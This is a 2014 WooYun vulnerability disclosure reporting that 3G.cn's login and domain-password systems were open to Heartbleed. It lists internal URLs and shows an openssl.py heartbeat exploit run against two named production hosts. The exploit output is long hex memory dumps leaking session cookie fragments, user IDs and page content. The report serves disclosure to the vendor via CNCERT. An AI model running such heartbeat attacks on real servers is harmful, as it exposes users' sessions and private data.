当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-077411

漏洞标题:3G门户非常重要的业务系统心脏滴答血(涉及所有重要业务系统56个)

相关厂商:3g.cn

漏洞作者: 路人甲

提交时间:2014-09-26 14:38

修复时间:2014-11-10 14:42

公开时间:2014-11-10 14:42

漏洞类型:系统/服务运维配置不当

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-26: 细节已通知厂商并且等待厂商处理中
2014-09-29: 厂商已经确认,细节仅向厂商公开
2014-10-09: 细节向核心白帽子及相关领域专家公开
2014-10-19: 细节向普通白帽子公开
2014-10-29: 细节向实习白帽子公开
2014-11-10: 细节向公众公开

简要描述:

所有重要系统都在这里面啊。

详细说明:

偶然遇到的
https://gouser.3g.net.cn/userManage/login.jsp?systemid=76

3.jpg


里面涉及了基本所有的系统,右上角有个切换系统

33.jpg


123.jpg


https://password.3g.net.cn/iisadmpwd/aexp2.asp
这个是域账户密码修改

1234.jpg


漏洞证明:

C:\openssl>openssl.py -p "443" gouser.3g.net
cn
Connecting...
Sending Client Hello...
Waiting for Server Hello...
... received message: type = 22, ver = 0302, length = 66
... received message: type = 22, ver = 0302, length = 1005
... received message: type = 22, ver = 0302, length = 331
... received message: type = 22, ver = 0302, length = 4
Sending heartbeat request...
... received message: type = 24, ver = 0302, length = 16384
Received heartbeat response:
0000: 02 FF FF D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C ......SC[...r...
0040: 84 C0 12 C0 08 C0 1C C0 1B 00 16 00 13 C0 0D C0 ................
0080: 12 00 09 00 14 00 11 00 08 00 06 00 03 00 FF 01 ................
00c0: 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0F 00 ................
0100: 00 83 5A 42 FC 6E 17 AB BC 3E A7 E7 27 74 57 5C ..ZB.n...>..'tW\
0140: 99 DE 08 F3 86 ED 81 AD 59 EA 0B F3 38 D3 8D E2 ........Y...8...
0180: 00 05 01 00 00 00 00 00 12 00 00 00 0D 00 12 00 ................
01c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0200: AB C4 0D 0D 0D 0D 0D 0D 0D 0D 0D 0D 0D 0D 0D 0D ................
0240: 54 42 3D 41 4C 44 50 47 45 47 43 41 44 44 45 47 TB=ALDPGEGCADDEG
0280: 63 65 68 6B 25 34 30 25 32 35 2A 36 32 31 26 6E cehk%40%25*621&n
02c0: 95 CD 58 FF E1 40 9B 56 23 36 80 64 F9 C9 FE 51 ..X..@.V#6.d...Q
0300: 8C B3 1F 14 1B BA 9E 5B CE CD 0D D1 55 F3 B1 AD .......[....U...
0340: 72 31 34 30 36 44 02 9C 1A 52 BB 2E FD C0 21 F7 r1406D...R....!.
0380: 32 30 31 34 2D 37 2D 32 35 20 31 30 3A 30 30 3A 2014-7-25 10:00:
03c0: 75 6D 2E 61 73 70 78 3F 70 65 72 73 6F 6E 69 64 um.aspx?personid
0400: 22 49 6D 61 67 65 73 2F 50 65 72 73 6F 6E 73 2F "Images/Persons/
0440: 22 63 6F 6D 5F 69 6D 67 22 20 20 2F 3E 3C 2F 61 "com_img" /></a
0480: B7 E9 A1 BE 5D E7 BB 99 28 E7 8E 8B E5 A8 9C 29 ....]...(......)
04c0: 69 76 20 63 6C 61 73 73 3D 22 74 6F 70 69 63 5F iv class="topic_
0500: 61 6D 65 22 3E 3C 64 69 76 3E 3C 61 20 68 72 65 ame"><div><a hre
0540: 38 33 65 62 66 63 32 35 33 31 31 22 3E E9 BB 8E 83ebfc25311">...
0580: 32 37 2D 34 38 65 31 2D 39 39 62 64 2D 64 38 33 27-48e1-99bd-d83
05c0: 20 E5 8F 91 E8 A1 A8 3C 2F 73 70 61 6E 3E 3C 2F ......</span></
0600: 31 32 30 31 38 32 63 2D 33 66 32 37 2D 34 38 65 120182c-3f27-48e
0640: 32 30 31 38 32 63 2D 33 66 32 37 2D 34 38 65 31 20182c-3f27-48e1
0680: 64 69 76 20 63 6C 61 73 73 3D 22 74 6F 70 69 63 div class="topic
06c0: 72 2F 3E 5E 5F 5E EF BC 8C E5 A4 A9 E4 BD BF E7 r/>^_^..........
0700: 3E 3C 2F 64 69 76 3E 3C 2F 64 69 76 3E 3C 64 69 ></div></div><di
0740: 22 41 6C 62 75 6D 2E 61 73 70 78 3F 70 65 72 73 "Album.aspx?pers
0780: 9E 3C 2F 61 3E 20 3C 61 20 68 72 65 66 3D 22 41 .</a> <a href="A
07c0: 66 63 32 35 33 31 31 22 3E 47 44 30 3C 2F 61 3E fc25311">GD0</a>
0800: 76 3E 3C 61 20 63 6C 61 73 73 3D 22 70 68 6F 74 v><a class="phot
0840: 39 39 62 64 2D 64 38 33 65 62 66 63 32 35 33 31 99bd-d83ebfc2531
0880: 39 62 64 2D 64 38 33 65 62 66 63 32 35 33 31 31 9bd-d83ebfc25311
08c0: 22 3E 28 E9 BB 8E E9 9C 9E 29 E9 80 81 E4 BA 86 ">(......)......
0900: E9 A1 BE EF BC 8C E7 94 9F E6 97 A5 E5 BF AB E4 ................
0940: 63 6C 61 73 73 3D 22 74 6F 70 69 63 22 3E 3C 64 class="topic"><d
0980: 69 64 3D 62 31 32 30 31 38 32 63 2D 33 66 32 37 id=b120182c-3f27
09c0: 75 6D 2E 61 73 70 78 3F 70 65 72 73 6F 6E 69 64 um.aspx?personid
0a00: 64 69 76 3E 3C 73 70 61 6E 3E 32 30 31 34 2D 37 div><span>2014-7
0a40: 68 72 65 66 3D 22 41 6C 62 75 6D 2E 61 73 70 78 href="Album.aspx
0a80: 3C 69 6D 67 20 73 72 63 3D 22 49 6D 61 67 65 73 <img src="Images
0ac0: 67 22 20 63 6C 61 73 73 3D 22 63 6F 6D 5F 69 6D g" class="com_im
0b00: A9 E4 BD BF E7 9A 84 E7 9C B7 E9 A1 BE 5D E7 BB .............]..
0b40: 7E 3C 62 72 2F 3E 3C 2F 64 69 76 3E 3C 64 69 76 ~<br/></div><div
0b80: 3C 64 69 76 20 20 63 6C 61 73 73 3D 22 6E 61 6D <div class="nam
0bc0: 36 39 2D 34 32 63 37 2D 38 63 32 64 2D 62 36 66 69-42c7-8c2d-b6f
0c00: 73 6F 6E 69 64 3D 62 62 35 62 37 38 64 61 2D 64 sonid=bb5b78da-d
0c40: 73 70 61 6E 3E 32 30 31 34 2D 37 2D 32 35 20 39 span>2014-7-25 9
0c80: 22 41 6C 62 75 6D 2E 61 73 70 78 3F 70 65 72 73 "Album.aspx?pers
0cc0: 73 72 63 3D 22 49 6D 61 67 65 73 2F 50 65 72 73 src="Images/Pers
0d00: 61 73 73 3D 22 63 6F 6D 5F 69 6D 67 22 20 20 2F ass="com_img" /
0d40: BE 8E E6 89 8B E8 A2 8B 5D E7 BB 99 28 E7 8E 8B ........]...(...
0d80: 3C 64 69 76 20 63 6C 61 73 73 3D 22 74 6F 70 69 <div class="topi
0dc0: 65 72 73 6F 6E 69 64 3D 38 35 66 63 62 38 30 62 ersonid=85fcb80b
0e00: 72 65 66 3D 22 41 6C 62 75 6D 2E 61 73 70 78 3F ref="Album.aspx?
0e40: BA A7 E5 93 81 E9 83 A8 3C 2F 61 3E 3C 2F 64 69 ........</a></di
0e80: 63 6C 61 73 73 3D 22 70 68 6F 74 6F 22 20 68 72 class="photo" hr
0ec0: 64 36 33 65 32 61 61 37 37 61 34 38 22 3E 3C 69 d63e2aa77a48"><i
0f00: 36 33 65 32 61 61 37 37 61 34 38 2E 6A 70 67 22 63e2aa77a48.jpg"
0f40: 8E E9 87 91 E7 8F 82 29 E9 80 81 E4 BA 86 5B E7 .......)......[.
0f80: 22 74 6F 70 69 63 5F 6C 22 3E 3C 2F 64 69 76 3E "topic_l"></div>
0fc0: 3E 3C 61 20 68 72 65 66 3D 22 41 6C 62 75 6D 2E ><a href="Album.
1000: 31 61 22 3E E6 B1 AA E7 9B 88 3C 2F 61 3E 20 3C 1a">......</a> <
1040: 32 62 66 2D 63 30 31 63 61 61 35 30 35 32 31 61 2bf-c01caa50521a
1080: 2D 32 35 20 39 3A 31 36 3A 30 31 20 E5 8F 91 E8 -25 9:16:01 ....
10c0: 3F 70 65 72 73 6F 6E 69 64 3D 36 37 33 61 65 66 ?personid=673aef
1100: 2F 50 65 72 73 6F 6E 73 2F 4E 6F 50 69 63 2E 70 /Persons/NoPic.p
1140: 28 E6 B1 AA E7 9B 88 29 E9 80 81 E4 BA 86 5B E7 (......)......[.
1180: 22 74 6F 70 69 63 5F 6C 22 3E 3C 2F 64 69 76 3E "topic_l"></div>
11c0: 3E 3C 61 20 68 72 65 66 3D 22 41 6C 62 75 6D 2E ><a href="Album.
1200: 31 61 22 3E E6 B1 AA E7 9B 88 3C 2F 61 3E 20 3C 1a">......</a> <
1240: 32 62 66 2D 63 30 31 63 61 61 35 30 35 32 31 61 2bf-c01caa50521a
1280: 2D 32 35 20 39 3A 31 35 3A 34 39 20 E5 8F 91 E8 -25 9:15:49 ....
12c0: 3F 70 65 72 73 6F 6E 69 64 3D 36 37 33 61 65 66 ?personid=673aef
1300: 2F 50 65 72 73 6F 6E 73 2F 4E 6F 50 69 63 2E 70 /Persons/NoPic.p
1340: 28 E6 B1 AA E7 9B 88 29 E9 80 81 E4 BA 86 5B E7 (......)......[.
1380: 70 69 63 5F 6C 22 3E 3C 2F 64 69 76 3E 3C 2F 64 pic_l"></div></d
13c0: 20 68 72 65 66 3D 22 41 6C 62 75 6D 2E 61 73 70 href="Album.asp
1400: 3E E5 8D 93 E9 9F AC 3C 2F 61 3E 20 3C 61 20 68 >......</a> <a h
1440: 2D 33 34 35 65 30 64 30 35 32 38 32 31 22 3E E5 -345e0d052821">.
1480: 20 32 31 3A 32 32 3A 31 34 20 E5 8F 91 E8 A1 A8 21:22:14 ......
14c0: 65 72 73 6F 6E 69 64 3D 64 31 63 66 39 63 32 31 ersonid=d1cf9c21
1500: 65 72 73 6F 6E 73 2F 64 31 63 66 39 63 32 31 2D ersons/d1cf9c21-
1540: 20 20 2F 3E 3C 2F 61 3E 3C 64 69 76 20 63 6C 61 /></a><div cla
1580: E7 8E 89 E8 B4 A2 29 3C 62 72 2F 3E 68 61 70 70 ......)<br/>happ
15c0: 3E 3C 2F 64 69 76 3E 3C 64 69 76 20 63 6C 61 73 ></div><div clas
1600: 2E 61 73 70 78 3F 70 65 72 73 6F 6E 69 64 3D 64 .aspx?personid=d
1640: 3C 61 20 68 72 65 66 3D 22 41 6C 62 75 6D 2E 61 <a href="Album.a
1680: 31 22 3E E5 BA 94 E7 94 A8 E8 BD AF E4 BB B6 E7 1">.............
16c0: 91 E8 A1 A8 3C 2F 73 70 61 6E 3E 3C 2F 64 69 76 ....</span></div
1700: 39 63 32 31 2D 30 35 35 33 2D 34 39 39 33 2D 38 9c21-0553-4993-8
1740: 63 32 31 2D 30 35 35 33 2D 34 39 39 33 2D 38 39 c21-0553-4993-89
1780: 20 63 6C 61 73 73 3D 22 74 6F 70 69 63 5F 6D 22 class="topic_m"
17c0: 68 61 70 70 79 20 62 69 72 74 68 64 61 79 21 3C happy birthday!<
1800: 63 6C 61 73 73 3D 22 74 6F 70 69 63 22 3E 3C 64 class="topic"><d
1840: 69 64 3D 64 31 63 66 39 63 32 31 2D 30 35 35 33 id=d1cf9c21-0553
1880: 75 6D 2E 61 73 70 78 3F 70 65 72 73 6F 6E 69 64 um.aspx?personid
18c0: E4 BB B6 E7 A0 94 E5 8F 91 E4 B8 AD E5 BF 83 3C ...............<
1900: 2F 64 69 76 3E 3C 61 20 63 6C 61 73 73 3D 22 70 /div><a class="p
1940: 39 33 2D 38 39 63 66 2D 33 34 35 65 30 64 30 35 93-89cf-345e0d05
1980: 33 2D 38 39 63 66 2D 33 34 35 65 30 64 30 35 32 3-89cf-345e0d052
19c0: 63 5F 6D 22 3E 28 E5 8D 93 E9 9F AC 29 E9 80 81 c_m">(......)...
1a00: 61 79 21 3C 62 72 2F 3E 3C 2F 64 69 76 3E 3C 64 ay!<br/></div><d
1a40: 22 3E 3C 64 69 76 20 20 63 6C 61 73 73 3D 22 6E "><div class="n
1a80: 34 33 35 64 2D 34 33 66 31 2D 38 31 62 63 2D 64 435d-43f1-81bc-d
1ac0: 65 72 73 6F 6E 69 64 3D 62 39 65 63 62 35 32 64 ersonid=b9ecb52d
1b00: 3E 3C 73 70 61 6E 3E 32 30 31 34 2D 37 2D 32 34 ><span>2014-7-24
1b40: 65 66 3D 22 41 6C 62 75 6D 2E 61 73 70 78 3F 70 ef="Album.aspx?p
1b80: 6D 67 20 73 72 63 3D 22 49 6D 61 67 65 73 2F 50 mg src="Images/P
1bc0: 20 63 6C 61 73 73 3D 22 63 6F 6D 5F 69 6D 67 22 class="com_img"
1c00: 94 9F E6 97 A5 E8 9B 8B E7 B3 95 5D E7 BB 99 28 ...........]...(
1c40: 3D 22 74 6F 70 69 63 5F 6C 22 3E 3C 2F 64 69 76 ="topic_l"></div
1c80: 76 3E 3C 61 20 68 72 65 66 3D 22 41 6C 62 75 6D v><a href="Album
1cc0: 61 34 38 22 3E E6 9D 8E E9 87 91 E7 8F 82 3C 2F a48">.........</
1d00: 30 32 2D 39 39 64 36 2D 64 36 33 65 32 61 61 37 02-99d6-d63e2aa7
1d40: 20 E5 8F 91 E8 A1 A8 3C 2F 73 70 61 6E 3E 3C 2F ......</span></
1d80: 35 66 63 62 38 30 62 2D 62 64 65 66 2D 34 63 30 5fcb80b-bdef-4c0
1dc0: 66 63 62 38 30 62 2D 62 64 65 66 2D 34 63 30 32 fcb80b-bdef-4c02
1e00: 64 69 76 20 63 6C 61 73 73 3D 22 74 6F 70 69 63 div class="topic
1e40: 29 3C 62 72 2F 3E 3C 2F 64 69 76 3E 3C 64 69 76 )<br/></div><div
1e80: 2F 64 69 76 3E 3C 21 2D 2D 65 6E 64 20 74 6F 64 /div><!--end tod
1ec0: 74 22 3E 0D 0A 20 20 20 20 20 20 20 20 20 20 20 t">..
1f00: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
1f40: 73 70 61 6E 3E 31 32 37 3C 2F 73 70 61 6E 3E E4 span>127</span>.
1f80: 6D 6D 65 6E 74 2E 61 73 70 78 3F 74 69 64 3D 32 mment.aspx?tid=2
1fc0: 3C 74 65 78 74 61 72 65 61 20 63 6C 61 73 73 3D <textarea class=
2000: BA 94 3C 2F 74 65 78 74 61 72 65 61 3E 0D 0A 20 ..</textarea>..
2040: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
2080: 79 6C 65 3D 22 62 61 63 6B 67 72 6F 75 6E 64 3A yle="background:
20c0: 6E 22 20 6F 6E 63 6C 69 63 6B 3D 22 61 64 64 63 n" onclick="addc
2100: 22 20 76 61 6C 75 65 3D 22 E6 8F 90 E4 BA A4 22 " value="......"
2140: 3C 21 2D 2D 65 64 6E 20 63 6F 6E 5F 31 2D 2D 3E <!--edn con_1-->
2180: 0A 20 20 20 20 20 20 20 20 20 20 20 20 09 3C 75 . .<u
21c0: 22 6F 6E 22 3E 3C 61 20 68 72 65 66 3D 22 6A 61 "on"><a href="ja
2200: 20 20 20 20 20 20 20 20 20 09 0D 0A 20 20 20 20 ...
2240: 3B 22 20 73 74 79 6C 65 3D 22 77 69 64 74 68 3A ;" style="width:
2280: 81 E5 AF 84 E8 AF AD 3C 2F 73 70 61 6E 3E 3C 2F .......</span></
22c0: 61 76 2D 2D 3E 0D 0A 20 20 20 20 20 20 20 20 20 av-->..
2300: 34 5F 63 6F 6E 22 20 69 64 3D 22 61 63 74 39 22 4_con" id="act9"
2340: 6F 6D 2E 61 73 70 78 3F 69 64 3D 31 32 33 34 26 om.aspx?id=1234&
2380: 3C 6C 69 3E 3C 61 20 68 72 65 66 3D 22 41 72 74 <li><a href="Art
23c0: E6 8A A5 E3 80 8B 32 30 31 33 2D 30 37 2D 32 39 ......2013-07-29
2400: 32 26 66 72 69 64 3D 30 22 3E E2 80 A2 20 E3 80 2&frid=0">... ..
2440: 72 74 69 63 6C 65 57 69 74 68 43 6F 6D 2E 61 73 rticleWithCom.as
2480: 30 37 3C 2F 61 3E 3C 2F 6C 69 3E 3C 61 20 63 6C 07</a></li><a cl
24c0: 20 3E E6 9B B4 E5 A4 9A 3C 2F 61 3E 20 20 20 20 >......</a>
2500: 20 20 20 20 20 20 3C 2F 75 6C 3E 0D 0A 20 20 20 </ul>..
2540: 3D 22 63 6F 6E 34 5F 63 6F 6E 22 20 69 64 3D 22 ="con4_con" id="
2580: 68 72 65 66 3D 22 41 72 74 69 63 6C 65 57 69 74 href="ArticleWit
25c0: E6 9B B4 E5 A4 A7 E7 9A 84 E8 80 83 E9 AA 8C EF ................
2600: 31 36 39 26 66 72 69 64 3D 30 22 3E E2 80 A2 20 169&frid=0">...
2640: E6 97 B6 E9 97 B4 E6 9B B4 E5 80 BC E9 92 B1 EF ................
2680: 31 31 31 26 66 72 69 64 3D 30 22 3E E2 80 A2 20 111&frid=0">...
26c0: E4 B8 96 E7 95 8C E5 A4 A7 E6 88 98 E6 8E A5 E8 ................
2700: 66 3D 22 41 72 74 69 63 6C 65 57 69 74 68 43 6F f="ArticleWithCo
2740: E3 80 91 E2 80 94 E2 80 94 39 E5 91 A8 E5 B9 B4 .........9......
2780: 65 66 3D 22 41 63 74 69 76 65 4C 69 73 74 2E 61 ef="ActiveList.a
27c0: 20 20 20 20 3C 2F 75 6C 3E 0D 0A 20 20 20 20 20 </ul>..
2800: 76 3E 3C 21 2D 2D 65 6E 64 20 63 6F 6E 5F 34 2D v><!--end con_4-
2840: 20 63 6C 61 73 73 3D 22 63 6F 6E 5F 32 22 3E 0D class="con_2">.
2880: 09 3C 64 69 76 20 63 6C 61 73 73 3D 22 63 6F 6E .<div class="con
28c0: 5F 72 74 22 3E 3C 2F 64 69 76 3E 0D 0A 20 20 20 _rt"></div>..
2900: 69 76 20 63 6C 61 73 73 3D 22 6A 6F 62 65 72 22 iv class="jober"
2940: A4 9A 3C 2F 61 3E 3C 2F 64 69 76 3E 0D 0A 20 20 ..</a></div>..
2980: 20 20 20 20 09 3C 64 69 76 20 63 6C 61 73 73 3D .<div class=
29c0: 73 3D 22 72 65 63 65 6E 74 5F 6A 6F 62 22 3E 0D s="recent_job">.
2a00: 3D 22 72 65 63 65 6E 74 65 6E 74 72 79 22 20 3E ="recententry" >
2a40: 20 20 20 20 20 20 3C 2F 64 69 76 3E 0D 0A 20 20 </div>..
2a80: 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 .
2ac0: 20 20 20 20 20 20 20 20 20 3C 64 69 76 20 63 6C <div cl
2b00: 70 78 22 3E E6 9B B4 E5 A4 9A 3C 2F 61 3E 3C 2F px">......</a></
2b40: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
2b80: 20 20 20 3C 64 69 76 20 63 6C 61 73 73 3D 22 61 <div class="a
2bc0: 68 6F 74 6F 22 3E 0D 0A 20 20 20 20 20 20 20 20 hoto">..
2c00: 6F 6E 69 64 3D 35 62 61 32 32 36 33 36 2D 38 30 onid=5ba22636-80
2c40: 73 72 63 3D 22 49 6D 61 67 65 73 2F 50 65 72 73 src="Images/Pers
2c80: 61 73 73 3D 22 61 6C 6C 70 68 6F 74 6F 5F 69 6D ass="allphoto_im
2cc0: 38 30 36 63 2D 34 63 34 36 2D 61 63 35 32 2D 62 806c-4c46-ac52-b
2d00: 73 70 78 3F 70 65 72 73 6F 6E 69 64 3D 31 66 38 spx?personid=1f8
2d40: 6B 22 3E 3C 69 6D 67 20 73 72 63 3D 22 49 6D 61 k"><img src="Ima
2d80: 2E 6A 70 67 22 20 63 6C 61 73 73 3D 22 61 6C 6C .jpg" class="all
2dc0: 66 38 30 36 37 33 65 2D 35 64 36 65 2D 34 37 36 f80673e-5d6e-476
2e00: 22 41 6C 62 75 6D 2E 61 73 70 78 3F 70 65 72 73 "Album.aspx?pers
2e40: 74 3D 22 5F 62 6C 61 6E 6B 22 3E 3C 69 6D 67 20 t="_blank"><img
2e80: 30 37 62 61 33 32 66 62 2E 6A 70 67 22 20 63 6C 07ba32fb.jpg" cl
2ec0: 72 73 6F 6E 69 64 3D 35 36 34 37 30 32 62 36 2D rsonid=564702b6-
2f00: 3C 61 20 68 72 65 66 3D 22 41 6C 62 75 6D 2E 61 <a href="Album.a
2f40: 66 22 20 74 61 72 67 65 74 3D 22 5F 62 6C 61 6E f" target="_blan
2f80: 63 38 39 2D 31 39 61 64 30 66 62 37 63 61 33 66 c89-19ad0fb7ca3f
2fc0: 2E 61 73 70 78 3F 70 65 72 73 6F 6E 69 64 3D 62 .aspx?personid=b
3000: 61 3E 3C 2F 6C 69 3E 3C 6C 69 3E 3C 61 20 68 72 a></li><li><a hr
3040: 30 37 30 32 37 31 32 61 62 37 63 66 22 20 74 61 0702712ab7cf" ta
3080: 61 64 64 62 2D 34 38 31 62 2D 61 33 33 34 2D 30 addb-481b-a334-0
30c0: 68 72 65 66 3D 22 41 6C 62 75 6D 2E 61 73 70 78 href="Album.aspx
3100: E5 B4 94 E6 98 A5 E5 BF 83 3C 2F 61 3E 3C 2F 6C .........</a></l
3140: 2D 34 32 32 36 2D 39 33 39 64 2D 31 63 37 65 32 -4226-939d-1c7e2
3180: 73 2F 63 63 32 36 31 64 37 63 2D 32 65 33 34 2D s/cc261d7c-2e34-
31c0: 20 20 2F 3E 3C 2F 61 3E 3C 61 20 68 72 65 66 3D /></a><a href=
3200: 65 32 32 36 35 34 32 33 64 22 3E E5 88 98 E4 BF e2265423d">.....
3240: 37 64 39 65 61 38 2D 62 32 63 62 2D 34 63 31 38 7d9ea8-b2cb-4c18
3280: 61 67 65 73 2F 50 65 72 73 6F 6E 73 2F 37 38 37 ages/Persons/787
32c0: 6C 70 68 6F 74 6F 5F 69 6D 67 22 20 20 2F 3E 3C lphoto_img" /><
3300: 31 38 2D 61 35 37 63 2D 63 36 31 30 32 63 61 39 18-a57c-c6102ca9
3340: 70 65 72 73 6F 6E 69 64 3D 61 64 66 39 38 31 31 personid=adf9811
3380: 69 6D 67 20 73 72 63 3D 22 49 6D 61 67 65 73 2F img src="Images/
33c0: 22 20 63 6C 61 73 73 3D 22 61 6C 6C 70 68 6F 74 " class="allphot
3400: 31 31 65 2D 37 36 62 62 2D 34 66 39 39 2D 62 30 11e-76bb-4f99-b0
3440: 75 6D 2E 61 73 70 78 3F 70 65 72 73 6F 6E 69 64 um.aspx?personid
3480: 62 6C 61 6E 6B 22 3E 3C 69 6D 67 20 73 72 63 3D blank"><img src=
34c0: 38 65 30 35 2E 6A 70 67 22 20 63 6C 61 73 73 3D 8e05.jpg" class=
3500: 69 64 3D 34 34 62 30 33 65 39 31 2D 33 32 66 33 id=44b03e91-32f3
3540: 61 20 68 72 65 66 3D 22 41 6C 62 75 6D 2E 61 73 a href="Album.as
3580: 22 20 74 61 72 67 65 74 3D 22 5F 62 6C 61 6E 6B " target="_blank
35c0: 61 61 2D 31 38 61 35 65 31 30 66 65 63 64 37 2E aa-18a5e10fecd7.
3600: 61 73 70 78 3F 70 65 72 73 6F 6E 69 64 3D 34 35 aspx?personid=45
3640: 3E 3C 2F 6C 69 3E 3C 6C 69 3E 3C 61 20 68 72 65 ></li><li><a hre
3680: 62 39 61 38 38 32 37 37 30 61 36 22 20 74 61 72 b9a882770a6" tar
36c0: 63 61 30 2D 34 66 63 36 2D 61 38 34 63 2D 38 62 ca0-4fc6-a84c-8b
3700: 72 65 66 3D 22 41 6C 62 75 6D 2E 61 73 70 78 3F ref="Album.aspx?
3740: BB BB E6 A2 93 E6 B6 B5 3C 2F 61 3E 3C 2F 6C 69 ........</a></li
3780: 34 66 33 30 2D 61 63 36 38 2D 64 62 35 38 37 30 4f30-ac68-db5870
37c0: 2F 62 34 63 65 34 62 62 39 2D 39 61 35 30 2D 34 /b4ce4bb9-9a50-4
3800: 20 2F 3E 3C 2F 61 3E 3C 61 20 68 72 65 66 3D 22 /></a><a href="
3840: 37 30 36 31 36 33 63 38 22 3E E8 A2 81 E6 85 A7 706163c8">......
3880: 34 33 30 63 35 2D 37 30 37 32 2D 34 38 32 36 2D 430c5-7072-4826-
38c0: 67 65 73 2F 50 65 72 73 6F 6E 73 2F 62 33 64 34 ges/Persons/b3d4
3900: 70 68 6F 74 6F 5F 69 6D 67 22 20 20 2F 3E 3C 2F photo_img" /></
3940: 36 2D 39 39 38 66 2D 30 32 63 36 34 61 63 31 66 6-998f-02c64ac1f
3980: 65 72 73 6F 6E 69 64 3D 62 61 63 62 32 64 37 31 ersonid=bacb2d71
39c0: 6D 67 20 73 72 63 3D 22 49 6D 61 67 65 73 2F 50 mg src="Images/P
3a00: 20 63 6C 61 73 73 3D 22 61 6C 6C 70 68 6F 74 6F class="allphoto
3a40: 37 31 2D 65 64 36 62 2D 34 33 63 66 2D 62 65 61 71-ed6b-43cf-bea
3a80: 6C 62 75 6D 2E 61 73 70 78 3F 70 65 72 73 6F 6E lbum.aspx?person
3ac0: 22 5F 62 6C 61 6E 6B 22 3E 3C 69 6D 67 20 73 72 "_blank"><img sr
3b00: 63 66 36 65 36 62 2E 6A 70 67 22 20 63 6C 61 73 cf6e6b.jpg" clas
3b40: 6F 6E 69 64 3D 62 38 39 36 34 39 39 36 2D 39 63 onid=b8964996-9c
3b80: 3E 3C 61 20 68 72 65 66 3D 22 41 6C 62 75 6D 2E ><a href="Album.
3bc0: 33 66 22 20 74 61 72 67 65 74 3D 22 5F 62 6C 61 3f" target="_bla
3c00: 38 65 37 30 2D 30 39 34 34 64 30 64 34 32 38 33 8e70-0944d0d4283
3c40: 6D 2E 61 73 70 78 3F 70 65 72 73 6F 6E 69 64 3D m.aspx?personid=
3c80: 3C 2F 6C 69 3E 3C 6C 69 3E 3C 61 20 68 72 65 66 </li><li><a href
3cc0: 61 32 62 63 30 63 30 64 33 30 22 20 74 61 72 67 a2bc0c0d30" targ
3d00: 35 33 2D 34 66 38 61 2D 38 38 39 36 2D 35 62 61 53-4f8a-8896-5ba
3d40: 65 66 3D 22 41 6C 62 75 6D 2E 61 73 70 78 3F 70 ef="Album.aspx?p
3d80: A8 E6 B3 BD E9 94 8B 3C 2F 61 3E 3C 2F 6C 69 3E .......</a></li>
3dc0: 33 63 35 2D 62 35 37 35 2D 32 35 62 65 39 61 66 3c5-b575-25be9af
3e00: 37 32 34 63 63 62 31 37 2D 39 34 63 63 2D 34 33 724ccb17-94cc-43
3e40: 2F 3E 3C 2F 61 3E 3C 61 20 68 72 65 66 3D 22 41 /></a><a href="A
3e80: 61 66 33 36 63 33 33 22 3E E8 8C B9 E9 9B AA E8 af36c33">.......
3ec0: 66 61 63 61 2D 31 32 65 64 2D 34 37 35 33 2D 39 faca-12ed-4753-9
3f00: 65 73 2F 50 65 72 73 6F 6E 73 2F 31 30 36 39 66 es/Persons/1069f
3f40: 68 6F 74 6F 5F 69 6D 67 22 20 20 2F 3E 3C 2F 61 hoto_img" /></a
3f80: 2D 39 30 36 35 2D 30 64 36 62 63 37 66 30 39 38 -9065-0d6bc7f098
3fc0: 6E 69 64 3D 63 32 31 32 64 35 35 30 2D 62 39 66 nid=c212d550-b9f


openssl.py -p "443" password.3g.net.cn
Connecting...
Sending Client Hello...
Waiting for Server Hello...
... received message: type = 22, ver = 0302, length = 66
... received message: type = 22, ver = 0302, length = 1005
... received message: type = 22, ver = 0302, length = 331
... received message: type = 22, ver = 0302, length = 4
Sending heartbeat request...
... received message: type = 24, ver = 0302, length = 16384
Received heartbeat response:
0000: 02 FF FF D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C ......SC[...r...
0040: 84 C0 12 C0 08 C0 1C C0 1B 00 16 00 13 C0 0D C0 ................
0080: 12 00 09 00 14 00 11 00 08 00 06 00 03 00 FF 01 ................
00c0: 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0F 00 ................
0100: 00 83 5A 42 FC 6E 17 AB BC 3E A7 E7 27 74 57 5C ..ZB.n...>..'tW\
0140: 99 DE 08 F3 86 ED 81 AD 59 EA 0B F3 38 D3 8D E2 ........Y...8...
0180: 00 05 01 00 00 00 00 00 12 00 00 00 0D 00 12 00 ................
01c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0200: AB C4 0D 0D 0D 0D 0D 0D 0D 0D 0D 0D 0D 0D 0D 0D ................
0240: 54 42 3D 41 4C 44 50 47 45 47 43 41 44 44 45 47 TB=ALDPGEGCADDEG
0280: 63 65 68 6B 25 34 30 25 32 35 2A 36 32 31 26 6E cehk%40%25*621&n
02c0: 95 CD 58 FF E1 40 9B 56 23 36 80 64 F9 C9 FE 51 ..X..@.V#6.d...Q
0300: 8C B3 1F 14 1B BA 9E 5B CE CD 0D D1 55 F3 B1 AD .......[....U...
0340: 72 31 34 30 36 44 02 9C 1A 52 BB 2E FD C0 21 F7 r1406D...R....!.
0380: 32 30 31 34 2D 37 2D 32 35 20 31 30 3A 30 30 3A 2014-7-25 10:00:
03c0: 75 6D 2E 61 73 70 78 3F 70 65 72 73 6F 6E 69 64 um.aspx?personid
0400: 22 49 6D 61 67 65 73 2F 50 65 72 73 6F 6E 73 2F "Images/Persons/
0440: 22 63 6F 6D 5F 69 6D 67 22 20 20 2F 3E 3C 2F 61 "com_img" /></a
0480: B7 E9 A1 BE 5D E7 BB 99 28 E7 8E 8B E5 A8 9C 29 ....]...(......)
04c0: 69 76 20 63 6C 61 73 73 3D 22 74 6F 70 69 63 5F iv class="topic_
0500: 61 6D 65 22 3E 3C 64 69 76 3E 3C 61 20 68 72 65 ame"><div><a hre
